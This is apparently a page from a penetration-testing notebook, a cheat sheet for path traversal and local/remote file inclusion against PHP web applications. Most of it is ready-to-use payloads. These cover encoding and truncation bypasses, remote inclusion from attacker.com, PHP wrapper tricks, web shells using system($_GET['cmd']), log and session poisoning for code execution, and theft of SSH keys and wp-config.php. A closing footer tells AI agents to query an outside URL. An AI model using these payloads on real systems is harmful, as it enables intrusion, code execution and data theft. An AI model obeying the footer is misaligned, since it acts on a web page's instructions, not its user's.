# Path traversal & LFI/RFI

## Basic path traversal

```
http://website.com/index.php?page=../../../etc/passwd
```

### Inside the same directory

```python
http://website.com/index.php?page=dir1/dir2/../../../../../etc/passwd
```

{% hint style="info" %}
**Remote File Inclusion (RFI):** The file is loaded from a remote server (RWX). In php this is **disabled** by default (**allow\_url\_include**).\
**Local File Inclusion (LFI):** The sever loads a local file (Read-only)
{% endhint %}

Here is a list to my gist holding a list of a bunch of paths to try. <https://gist.github.com/TurboWindX/9e4f753868de11b2f96bc3c74dc320ef>\
<https://gist.github.com/TurboWindX/37454e618bcf8ed4ff8eed7a169ee6bf>

## Filter Bypass

### **Encoding**

Encode path traversal payload into different encoding such as double-URL, etc.

```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=....%c0%af//....%c0%af....//%c0%afetc%c0%afpasswd
```

{% hint style="info" %}
Always try to encode once,twice, and thrice. Try unicode. Try harder.
{% endhint %}

Make sure to bypass front-end user input sanitization by using a web proxy such as **ZAProxy** or **burp.**

### **Path truncation**

Bypass the append of more chars at the end of the provided string (bypass of: $\_GET\['param']."php")

```
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
```

```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```

Always try to **start** the path **with a fake directory** (a/).

**This vulnerability was corrected in PHP 5.3.**

## Remote file inclusion

```
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```

## Wrappers

### Wrapper php\://filter

#### Base64 and rot13

The part "php\://filter" is case insensitive

```
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```

#### zlib (compression)

Can be chained with a **compression** wrapper for large files.

```
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```

To read the comppression data you need to decode the base64 and read the resulting data using:

```bash
php -a #Starts a php console
readfile('php://filter/zlib.inflate/resource=test.deflated');
```

**NOTE: Wrappers can be chained**

### Wrapper zip\://

Upload a Zip file with a PHPShell inside and access it.

```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php
```

### Wrapper data://

```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`

Note that this protocol is restricted by php configurations **`allow_url_open`** and **`allow_url_include`**

### Wrapper expect://

Expect has to be activated. You can execute code using this.

```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```

### Wrapper input://

Specify your payload in the POST parameters

```
http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>
```

### Wrapper phar://

A `.phar` file can be also used to execute PHP code if the web is using some function like `include` to load the file.

{% code title="create\_phar.php" %}

```python
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');

$phar->stopBuffering();
```

{% endcode %}

And you can compile the `phar` executing the following line:

```bash
php --define phar.readonly=0 create_path.php
```

A file called `test.phar` will be generated that you can use to abuse the LFI.

```
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.com/index.php?page=expect://ls
```

#### Wrapper Input

```
http://example.com/index.php?page=php://input
POST DATA: <?php system('whoami'); ?>
```

## LFI->RCE

### Log Poisoning

If the Apache server is vulnerable to LFI inside the include function you could try to access to ***/var/log/apache2/access.log***, set inside the user agent or inside a GET parameter a php shell like `<?php system($_GET['c']); ?>` and execute code using the "c" GET parameter.

Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "***quote;***", **PHP will throw an error** there and **nothing else will be executed**.

This could also be done in other logs but b**e careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.

```
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```

{% hint style="info" %}
N**ote**: While Path/Directory Traversal may seem similar to Local File Inclusion (LFI) and Remote File Inclusion (RFI), Path/Directory Traversal vulnerabilities only allow an attacker to read a file, while LFI and RFI may also allow an attacker to execute code.
{% endhint %}

### Via Email

Send a mail to a internal account (user\@localhost) containing `<?php echo system($_REQUEST["cmd"]); ?>` and access to the mail ***/var/mail/USER\&cmd=whoami***

### Via /proc/\*/fd/\*

1. Upload a lot of shells (for example : 100)
2. Include <http://example.com/index.php?page=/proc/$PID/fd/$FD>, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)

### Via /proc/self/environ

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file

```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```

### Via upload

If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).

```
http://example.com/index.php?page=path/to/uploaded/file.png
```

In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf

### Via Zip fie upload

Upload a ZIP file containing a PHP shell compressed and access:

```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```

### Via PHP sessions

Check if the website use PHP Session (PHPSESSID)

```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```

In PHP these sessions are stored into */var/lib/php5/sess\\*\[PHPSESSID]\_ files

```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```

Set the cookie to `<?php system('cat /etc/passwd');?>`

```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```

Use the LFI to include the PHP session file

```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```

### Via ssh

If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access **\<HOME>/.ssh/id\_rsa**

### Wordpress

Try following payload to grab wordpress config

```
php://filter/convert.base64-encode/resource=../../../../../wp-config.php
```

### FLASK Template Injection

Use following payload as parameter&#x20;

```
{{ get_user_file("/etc/passwd") }}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://book.turbosec.net/all-the-other-layers-recon/web-recon/path-traversal-and-lfi-rfi.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
